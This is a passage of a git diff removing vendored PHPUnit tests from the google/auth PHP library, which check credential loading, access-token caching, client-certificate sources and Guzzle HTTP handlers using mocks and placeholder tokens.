UserRefreshCredentials( - $scope, - $testJson - ); - $sa->fetchAuthToken($httpHandler); - } - - /** - * @expectedException GuzzleHttp\Exception\ServerException - */ - public function testFailsOnServerErrors() - { - $testJson = createURCTestJson(); - $scope = ['scope/1', 'scope/2']; - $httpHandler = getHandler([ - buildResponse(500), - ]); - $sa = new UserRefreshCredentials( - $scope, - $testJson - ); - $sa->fetchAuthToken($httpHandler); - } - - public function testCanFetchCredsOK() - { - $testJson = createURCTestJson(); - $testJsonText = json_encode($testJson); - $scope = ['scope/1', 'scope/2']; - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($testJsonText)), - ]); - $sa = new UserRefreshCredentials( - $scope, - $testJson - ); - $tokens = $sa->fetchAuthToken($httpHandler); - $this->assertEquals($testJson, $tokens); - } -} - -class URCGetQuotaProjectTest extends TestCase -{ - public function testGetQuotaProject() - { - $keyFile = __DIR__ . '/../fixtures2' . '/private.json'; - $sa = new UserRefreshCredentials('a-scope', $keyFile); - $this->assertEquals('test_quota_project', $sa->getQuotaProject()); - } -} diff --git a/vendor/google/auth/tests/CredentialsLoaderTest.php b/vendor/google/auth/tests/CredentialsLoaderTest.php deleted file mode 100644 index 0d987447d8..0000000000 --- a/vendor/google/auth/tests/CredentialsLoaderTest.php +++ /dev/null @@ -1,169 +0,0 @@ -updateMetadata(['authentication' => 'foo']); - $this->assertArrayHasKey('authentication', $metadata); - $this->assertEquals('foo', $metadata['authentication']); - } - - /** @runInSeparateProcess */ - public function testGetDefaultClientCertSource() - { - putenv('HOME=' . __DIR__ . '/fixtures4/valid'); - - $callback = CredentialsLoader::getDefaultClientCertSource(); - $this->assertNotNull($callback); - - $output = $callback(); - $this->assertEquals('foo', $output); - } - - /** @runInSeparateProcess */ - public function testNonExistantDefaultClientCertSource() - { - putenv('HOME='); - - $callback = CredentialsLoader::getDefaultClientCertSource(); - $this->assertNull($callback); - } - - /** - * @runInSeparateProcess - * @expectedException UnexpectedValueException - * @expectedExceptionMessage Invalid client cert source JSON - */ - public function testDefaultClientCertSourceInvalidJsonThrowsException() - { - putenv('HOME=' . __DIR__ . '/fixtures4/invalidjson'); - - CredentialsLoader::getDefaultClientCertSource(); - } - - /** - * @runInSeparateProcess - * @expectedException UnexpectedValueException - * @expectedExceptionMessage cert source requires "cert_provider_command" - */ - public function testDefaultClientCertSourceInvalidKeyThrowsException() - { - putenv('HOME=' . __DIR__ . '/fixtures4/invalidkey'); - - CredentialsLoader::getDefaultClientCertSource(); - } - - /** - * @runInSeparateProcess - * @expectedException UnexpectedValueException - * @expectedExceptionMessage cert source expects "cert_provider_command" to be an array - */ - public function testDefaultClientCertSourceInvalidValueThrowsException() - { - putenv('HOME=' . __DIR__ . '/fixtures4/invalidvalue'); - - CredentialsLoader::getDefaultClientCertSource(); - } - - /** - * @runInSeparateProcess - */ - public function testActualDefaultClientCertSource() - { - $clientCertSource = CredentialsLoader::getDefaultClientCertSource(); - if (is_null($clientCertSource)) { - $this->markTestSkipped('No client cert source found'); - } - $creds = $clientCertSource(); - $this->assertTrue(is_string($creds)); - $this->assertContains('-----BEGIN CERTIFICATE-----', $creds); - $this->assertContains('-----BEGIN PRIVATE KEY-----', $creds); - } - - /** - * @runInSeparateProcess - * @expectedException RuntimeException - * @expectedExceptionMessage "cert_provider_command" failed with a nonzero exit code - */ - public function testDefaultClientCertSourceInvalidCmdThrowsException() - { - putenv('HOME=' . __DIR__ . '/fixtures4/invalidcmd'); - - $callback = CredentialsLoader::getDefaultClientCertSource(); - - // Close stderr so output doesnt show in our test runner - fclose(STDERR); - - $callback(); - } - - /** - * @runInSeparateProcess - */ - public function testShouldLoadClientCertSourceInvalidValueIsFalse() - { - putenv(CredentialsLoader::MTLS_CERT_ENV_VAR . '=foo'); - - $this->assertFalse(CredentialsLoader::shouldLoadClientCertSource()); - } - - /** - * @runInSeparateProcess - */ - public function testShouldLoadClientCertSourceDefaultValueIsFalse() - { - putenv(CredentialsLoader::MTLS_CERT_ENV_VAR); - - $this->assertFalse(CredentialsLoader::shouldLoadClientCertSource()); - } - - /** - * @runInSeparateProcess - */ - public function testShouldLoadClientCertSourceIsTrue() - { - putenv(CredentialsLoader::MTLS_CERT_ENV_VAR . '=true'); - - $this->assertTrue(CredentialsLoader::shouldLoadClientCertSource()); - } -} - -class TestCredentialsLoader extends CredentialsLoader -{ - public function getCacheKey() - { - return 'test'; - } - - public function fetchAuthToken(callable $httpHandler = null) - { - return 'test'; - } - - public function getLastReceivedToken() - { - return null; - } -} diff --git a/vendor/google/auth/tests/FetchAuthTokenCacheTest.php b/vendor/google/auth/tests/FetchAuthTokenCacheTest.php deleted file mode 100644 index 837f29936c..0000000000 --- a/vendor/google/auth/tests/FetchAuthTokenCacheTest.php +++ /dev/null @@ -1,556 +0,0 @@ -mockFetcher = $this->prophesize(); - $this->mockFetcher->willImplement('Google\Auth\FetchAuthTokenInterface'); - $this->mockFetcher->willImplement('Google\Auth\UpdateMetadataInterface'); - $this->mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $this->mockSigner = $this->prophesize('Google\Auth\SignBlobInterface'); - } - - public function testUsesCachedAccessToken() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $accessToken = $cachedFetcher->fetchAuthToken(); - $this->assertEquals($accessToken, ['access_token' => $token]); - } - - public function testUsesCachedIdToken() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['id_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $idToken = $cachedFetcher->fetchAuthToken(); - $this->assertEquals($idToken, ['id_token' => $token]); - } - - public function testUpdateMetadataWithCache() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockFetcher->updateMetadata(Argument::type('array'), null, null) - ->shouldBeCalled() - ->will(function ($args, $fetcher) { - return $args[0]; - }); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $headers = $cachedFetcher->updateMetadata(['foo' => 'bar']); - $this->assertArrayHasKey('authorization', $headers); - $this->assertEquals(["Bearer $token"], $headers['authorization']); - $this->assertArrayHasKey('foo', $headers); - $this->assertEquals('bar', $headers['foo']); - } - - public function testUpdateMetadataWithoutCache() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $value = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockFetcher->getLastReceivedToken() - ->shouldBeCalled() - ->willReturn($value); - $this->mockCacheItem->set($value) - ->shouldBeCalledTimes(1); - $this->mockCacheItem->expiresAfter(1500) - ->shouldBeCalledTimes(1); - $this->mockCache->save($this->mockCacheItem) - ->shouldBeCalledTimes(1); - $this->mockFetcher->updateMetadata(Argument::type('array'), null, null) - ->shouldBeCalled() - ->will(function ($args, $fetcher) use ($token) { - $args[0]['authorization'] = ["Bearer $token"]; - return $args[0]; - }); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $headers = $cachedFetcher->updateMetadata(['foo' => 'bar']); - $this->assertArrayHasKey('authorization', $headers); - $this->assertEquals(["Bearer $token"], $headers['authorization']); - $this->assertArrayHasKey('foo', $headers); - $this->assertEquals('bar', $headers['foo']); - } - - public function testUpdateMetadataWithJwtAccess() - { - $privateKey = file_get_contents(__DIR__ . '/fixtures/private.pem'); - $testJson = [ - 'private_key' => $privateKey, - 'private_key_id' => 'key123', - 'client_email' => 'test@example.com', - 'client_id' => 'client123', - 'type' => 'service_account', - 'project_id' => 'example_project', - ]; - - $fetcher = new ServiceAccountCredentials(null, $testJson); - $cache = new MemoryCacheItemPool(); - - $cachedFetcher = new FetchAuthTokenCache( - $fetcher, - null, - $cache - ); - $metadata = $cachedFetcher->updateMetadata([], 'http://test-auth-uri'); - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $metadata - ); - - $authorization = $metadata[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization); - - $bearerToken = current($authorization); - $this->assertInternalType('string', $bearerToken); - $this->assertEquals(0, strpos($bearerToken, 'Bearer ')); - $token = str_replace('Bearer ', '', $bearerToken); - - $lastReceivedToken = $cachedFetcher->getLastReceivedToken(); - $this->assertArrayHasKey('access_token', $lastReceivedToken); - $this->assertEquals($token, $lastReceivedToken['access_token']); - - // Ensure token is cached - $metadata2 = $cachedFetcher->updateMetadata([], 'http://test-auth-uri'); - $this->assertEquals($metadata, $metadata2); - - // Ensure token for different URI is NOT cached - $metadata3 = $cachedFetcher->updateMetadata([], 'http://test-auth-uri-2'); - $this->assertNotEquals($metadata, $metadata3); - } - - /** - * @expectedException RuntimeException - * @expectedExceptionMessage Credentials fetcher does not implement Google\Auth\UpdateMetadataInterface - */ - public function testUpdateMetadataWithInvalidFetcher() - { - $mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $cachedFetcher->updateMetadata(['foo' => 'bar']); - } - - public function testShouldReturnValueWhenNotExpired() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $expiresAt = time() + 10; - $cachedValue = [ - 'access_token' => $token, - 'expires_at' => $expiresAt, - ]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $accessToken = $cachedFetcher->fetchAuthToken(); - $this->assertEquals($accessToken, [ - 'access_token' => $token, - 'expires_at' => $expiresAt - ]); - } - - public function testShouldNotReturnValueWhenExpired() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $expiresAt = time() - 10; - $cachedValue = [ - 'access_token' => $token, - 'expires_at' => $expiresAt, - ]; - $newToken = ['access_token' => '3/abcdef1234567890']; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCacheItem->set($newToken) - ->shouldBeCalledTimes(1); - $this->mockCacheItem->expiresAfter(1500) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken(null) - ->shouldBeCalledTimes(1) - ->willReturn($newToken); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockCache->save($this->mockCacheItem) - ->shouldBeCalledTimes(1); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $accessToken = $cachedFetcher->fetchAuthToken(); - $this->assertEquals($newToken, $accessToken); - } - - public function testGetsCachedAuthTokenUsingCachePrefix() - { - $prefix = 'test_prefix_'; - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($prefix . $cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - - // Run the test - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $accessToken = $cachedFetcher->fetchAuthToken(); - $this->assertEquals($accessToken, ['access_token' => $token]); - } - - public function testShouldSaveValueInCacheWithCacheOptions() - { - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $cacheKey = 'myKey'; - $token = '1/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->get(Argument::any()) - ->willReturn(null); - $this->mockCacheItem->isHit() - ->willReturn(false); - $this->mockCacheItem->set($cachedValue) - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($prefix . $cacheKey) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalled(); - $this->mockFetcher->getCacheKey() - ->willReturn($cacheKey); - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - - // Run the test - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $accessToken = $cachedFetcher->fetchAuthToken(); - $this->assertEquals($accessToken, ['access_token' => $token]); - } - - public function testGetLastReceivedToken() - { - $token = 'foo'; - - $mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - $mockFetcher->getLastReceivedToken() - ->shouldBeCalled() - ->willReturn([ - 'access_token' => $token - ]); - - $fetcher = new FetchAuthTokenCache( - $mockFetcher->reveal(), - [], - $this->mockCache->reveal() - ); - - $this->assertEquals($token, $fetcher->getLastReceivedToken()['access_token']); - } - - public function testGetClientName() - { - $name = 'test@example.com'; - - $this->mockSigner->getClientName(null) - ->shouldBeCalled() - ->willReturn($name); - - $fetcher = new FetchAuthTokenCache( - $this->mockSigner->reveal(), - [], - $this->mockCache->reveal() - ); - - $this->assertEquals($name, $fetcher->getClientName()); - } - - /** - * @expectedException RuntimeException - * @expectedExceptionMessage Credentials fetcher does not implement Google\Auth\SignBlobInterface - */ - public function testGetClientNameWithInvalidFetcher() - { - $mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $cachedFetcher->getClientName(); - } - - public function testSignBlob() - { - $stringToSign = 'foobar'; - $signature = 'helloworld'; - - $this->mockSigner->willImplement('Google\Auth\FetchAuthTokenInterface'); - $this->mockSigner->signBlob($stringToSign, true) - ->shouldBeCalled() - ->willReturn($signature); - - $fetcher = new FetchAuthTokenCache( - $this->mockSigner->reveal(), - [], - $this->mockCache->reveal() - ); - - $this->assertEquals($signature, $fetcher->signBlob($stringToSign, true)); - } - - public function testGCECredentialsSignBlob() - { - $stringToSign = 'foobar'; - $signature = 'helloworld'; - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - - $mockGce = $this->prophesize('Google\Auth\Credentials\GCECredentials'); - $mockGce->signBlob($stringToSign, true, $token) - ->shouldBeCalled() - ->willReturn($signature); - - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $mockGce->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - - $fetcher = new FetchAuthTokenCache( - $mockGce->reveal(), - [], - $this->mockCache->reveal() - ); - - $this->assertEquals($signature, $fetcher->signBlob($stringToSign, true)); - } - - /** - * @expectedException RuntimeException - */ - public function testSignBlobInvalidFetcher() - { - $this->mockFetcher->signBlob('test') - ->shouldNotbeCalled(); - - $fetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - [], - $this->mockCache - ); - - $fetcher->signBlob('test'); - } - - public function testGetProjectId() - { - $projectId = 'foobar'; - - $mockFetcher = $this->prophesize('Google\Auth\ProjectIdProviderInterface'); - $mockFetcher->willImplement('Google\Auth\FetchAuthTokenInterface'); - $mockFetcher->getProjectId(null) - ->shouldBeCalled() - ->willReturn($projectId); - - $fetcher = new FetchAuthTokenCache( - $mockFetcher->reveal(), - [], - $this->mockCache->reveal() - ); - - $this->assertEquals($projectId, $fetcher->getProjectId()); - } - - /** - * @expectedException RuntimeException - */ - public function testGetProjectIdInvalidFetcher() - { - $mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - $mockFetcher->getProjectId() - ->shouldNotbeCalled(); - - $fetcher = new FetchAuthTokenCache( - $mockFetcher->reveal(), - [], - $this->mockCache - ); - - $fetcher->getProjectId(); - } -} diff --git a/vendor/google/auth/tests/FetchAuthTokenTest.php b/vendor/google/auth/tests/FetchAuthTokenTest.php deleted file mode 100644 index e7e5d29947..0000000000 --- a/vendor/google/auth/tests/FetchAuthTokenTest.php +++ /dev/null @@ -1,239 +0,0 @@ -prophesize($fetcherClass); - - $httpHandlerCalled = false; - $httpHandler = function () use (&$httpHandlerCalled) { - $httpHandlerCalled = true; - return ['access_token' => 'xyz']; - }; - - if (in_array( - 'Google\Auth\GetQuotaProjectInterface', - class_implements($fetcherClass) - )) { - $mockFetcher->getQuotaProject()->shouldBeCalledTimes(1); - } - $mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->will($httpHandler); - $mockFetcher->getCacheKey()->willReturn(''); - - $tokenCallbackCalled = false; - $tokenCallback = function ($cacheKey, $accessToken) use (&$tokenCallbackCalled) { - $tokenCallbackCalled = true; - $this->assertEquals('xyz', $accessToken); - }; - - if ($this->getGuzzleMajorVersion() === 5) { - $clientOptions = [ - 'base_url' => 'https://www.googleapis.com/books/v1/', - 'defaults' => ['exceptions' => false], - ]; - } else { - $clientOptions = [ - 'base_uri' => 'https://www.googleapis.com/books/v1/', - 'http_errors' => false, - ]; - } - - $client = CredentialsLoader::makeHttpClient( - $mockFetcher->reveal(), - $clientOptions, - $httpHandler, - $tokenCallback - ); - - $response = $client->get( - 'volumes?q=Henry+David+Thoreau&country=US' - ); - - $this->assertEquals(401, $response->getStatusCode()); - $this->assertTrue($httpHandlerCalled); - $this->assertTrue($tokenCallbackCalled); - } - - public function provideMakeHttpClient() - { - return [ - ['Google\Auth\Credentials\AppIdentityCredentials'], - ['Google\Auth\Credentials\GCECredentials'], - ['Google\Auth\Credentials\ServiceAccountCredentials'], - ['Google\Auth\Credentials\ServiceAccountJwtAccessCredentials'], - ['Google\Auth\Credentials\UserRefreshCredentials'], - ['Google\Auth\OAuth2'], - ]; - } - - public function testAppIdentityCredentialsGetLastReceivedToken() - { - $class = new \ReflectionClass( - 'Google\Auth\Credentials\AppIdentityCredentials' - ); - $property = $class->getProperty('lastReceivedToken'); - $property->setAccessible(true); - - $credentials = new AppIdentityCredentials(); - $property->setValue($credentials, [ - 'access_token' => 'xyz', - 'expiration_time' => strtotime('2001'), - ]); - - $this->assertGetLastReceivedToken($credentials); - } - - public function testGCECredentialsGetLastReceivedToken() - { - $class = new \ReflectionClass( - 'Google\Auth\Credentials\GCECredentials' - ); - $property = $class->getProperty('lastReceivedToken'); - $property->setAccessible(true); - - $credentials = new GCECredentials(); - $property->setValue($credentials, [ - 'access_token' => 'xyz', - 'expires_at' => strtotime('2001'), - ]); - - $this->assertGetLastReceivedToken($credentials); - } - - public function testServiceAccountCredentialsGetLastReceivedToken() - { - $jsonPath = sprintf( - '%s/fixtures/.config/%s', - __DIR__, - CredentialsLoader::WELL_KNOWN_PATH - ); - - $class = new \ReflectionClass( - 'Google\Auth\Credentials\ServiceAccountCredentials' - ); - $property = $class->getProperty('auth'); - $property->setAccessible(true); - - $oauth2Mock = $this->getOAuth2Mock(); - $oauth2Mock->getScope() - ->willReturn($this->scopes); - $oauth2Mock->getAdditionalClaims() - ->willReturn([]); - - $credentials = new ServiceAccountCredentials($this->scopes, $jsonPath); - $property->setValue($credentials, $oauth2Mock->reveal()); - - $this->assertGetLastReceivedToken($credentials); - } - - public function testServiceAccountJwtAccessCredentialsGetLastReceivedToken() - { - $jsonPath = sprintf( - '%s/fixtures/.config/%s', - __DIR__, - CredentialsLoader::WELL_KNOWN_PATH - ); - - $class = new \ReflectionClass( - 'Google\Auth\Credentials\ServiceAccountJwtAccessCredentials' - ); - $property = $class->getProperty('auth'); - $property->setAccessible(true); - - $credentials = new ServiceAccountJwtAccessCredentials($jsonPath); - $property->setValue($credentials, $this->getOAuth2Mock()->reveal()); - - $this->assertGetLastReceivedToken($credentials); - } - - public function testUserRefreshCredentialsGetLastReceivedToken() - { - $jsonPath = sprintf( - '%s/fixtures2/.config/%s', - __DIR__, - CredentialsLoader::WELL_KNOWN_PATH - ); - - $class = new \ReflectionClass( - 'Google\Auth\Credentials\UserRefreshCredentials' - ); - $property = $class->getProperty('auth'); - $property->setAccessible(true); - - $credentials = new UserRefreshCredentials($this->scopes, $jsonPath); - $property->setValue($credentials, $this->getOAuth2Mock()->reveal()); - - $this->assertGetLastReceivedToken($credentials); - } - - private function getOAuth2() - { - $oauth = new OAuth2([ - 'access_token' => 'xyz', - 'expires_at' => strtotime('2001'), - ]); - - $this->assertGetLastReceivedToken($oauth); - } - - private function getOAuth2Mock() - { - $mock = $this->prophesize('Google\Auth\OAuth2'); - - $mock->getLastReceivedToken() - ->shouldBeCalledTimes(1) - ->willReturn([ - 'access_token' => 'xyz', - 'expires_at' => strtotime('2001'), - ]); - - return $mock; - } - - private function assertGetLastReceivedToken(FetchAuthTokenInterface $fetcher) - { - $accessToken = $fetcher->getLastReceivedToken(); - - $this->assertNotNull($accessToken); - $this->assertArrayHasKey('access_token', $accessToken); - $this->assertArrayHasKey('expires_at', $accessToken); - - $this->assertEquals('xyz', $accessToken['access_token']); - $this->assertEquals(strtotime('2001'), $accessToken['expires_at']); - } -} diff --git a/vendor/google/auth/tests/GCECacheTest.php b/vendor/google/auth/tests/GCECacheTest.php deleted file mode 100644 index 004e2bae8a..0000000000 --- a/vendor/google/auth/tests/GCECacheTest.php +++ /dev/null @@ -1,160 +0,0 @@ -mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - } - - public function testCachedOnGceTrueValue() - { - $cachedValue = true; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem(GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - // Run the test. - $gceCache = new GCECache( - null, - $this->mockCache->reveal() - ); - $this->assertTrue($gceCache->onGce()); - } - - public function testCachedOnGceFalseValue() - { - $cachedValue = false; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem(GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - // Run the test. - $gceCache = new GCECache( - null, - $this->mockCache->reveal() - ); - $this->assertFalse($gceCache->onGce()); - } - - public function testUncached() - { - $gceIsCalled = false; - $dummyHandler = function ($request) use (&$gceIsCalled) { - $gceIsCalled = true; - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - }; - - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->set(true) - ->shouldBeCalledTimes(1); - $this->mockCacheItem->expiresAfter(1500) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem(GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save($this->mockCacheItem->reveal()) - ->shouldBeCalledTimes(1); - - // Run the test. - $gceCache = new GCECache( - null, - $this->mockCache->reveal() - ); - - $this->assertTrue($gceCache->onGce($dummyHandler)); - $this->assertTrue($gceIsCalled); - } - - public function testShouldFetchFromCacheWithCacheOptions() - { - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $cachedValue = true; - - $this->mockCacheItem->isHit() - ->willReturn(true); - $this->mockCacheItem->get() - ->willReturn($cachedValue); - $this->mockCache->getItem($prefix . GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - // Run the test - $gceCache = new GCECache( - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $this->assertTrue($gceCache->onGce()); - } - - public function testShouldSaveValueInCacheWithCacheOptions() - { - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $gceIsCalled = false; - $dummyHandler = function ($request) use (&$gceIsCalled) { - $gceIsCalled = true; - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - }; - $this->mockCacheItem->isHit() - ->willReturn(false); - $this->mockCacheItem->set(true) - ->shouldBeCalledTimes(1); - $this->mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($prefix . GCECache::GCE_CACHE_KEY) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save($this->mockCacheItem->reveal()) - ->shouldBeCalled(); - - // Run the test - $gceCache = new GCECache( - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $onGce = $gceCache->onGce($dummyHandler); - $this->assertTrue($onGce); - $this->assertTrue($gceIsCalled); - } -} diff --git a/vendor/google/auth/tests/HttpHandler/Guzzle5HttpHandlerTest.php b/vendor/google/auth/tests/HttpHandler/Guzzle5HttpHandlerTest.php deleted file mode 100644 index d577b29d5a..0000000000 --- a/vendor/google/auth/tests/HttpHandler/Guzzle5HttpHandlerTest.php +++ /dev/null @@ -1,240 +0,0 @@ -onlyGuzzle5(); - - $uri = $this->prophesize('Psr\Http\Message\UriInterface'); - $body = $this->prophesize('Psr\Http\Message\StreamInterface'); - - $this->mockPsr7Request = $this->prophesize('Psr\Http\Message\RequestInterface'); - $this->mockPsr7Request->getMethod()->willReturn('GET'); - $this->mockPsr7Request->getUri()->willReturn($uri->reveal()); - $this->mockPsr7Request->getHeaders()->willReturn([]); - $this->mockPsr7Request->getBody()->willReturn($body->reveal()); - - $this->mockRequest = $this->prophesize('GuzzleHttp\Message\RequestInterface'); - $this->mockClient = $this->prophesize('GuzzleHttp\Client'); - $this->mockFuture = $this->prophesize('GuzzleHttp\Ring\Future\FutureInterface'); - } - - public function testSuccessfullySendsRealRequest() - { - $request = new \GuzzleHttp\Psr7\Request('get', 'https://httpbin.org/get'); - $client = new \GuzzleHttp\Client(); - $handler = new Guzzle5HttpHandler($client); - $response = $handler($request); - $this->assertInstanceOf('Psr\Http\Message\ResponseInterface', $response); - $this->assertEquals(200, $response->getStatusCode()); - $json = json_decode((string) $response->getBody(), true); - $this->assertArrayHasKey('url', $json); - $this->assertEquals((string) $request->getUri(), $json['url']); - } - - public function testSuccessfullySendsMockRequest() - { - $response = new Response( - 200, - [], - Stream::factory('Body Text') - ); - $this->mockClient->send(Argument::type('GuzzleHttp\Message\RequestInterface')) - ->willReturn($response); - $this->mockClient->createRequest( - 'GET', - Argument::type('Psr\Http\Message\UriInterface'), - Argument::type('array') - )->willReturn($this->mockRequest->reveal()); - - $handler = new Guzzle5HttpHandler($this->mockClient->reveal()); - $response = $handler($this->mockPsr7Request->reveal()); - 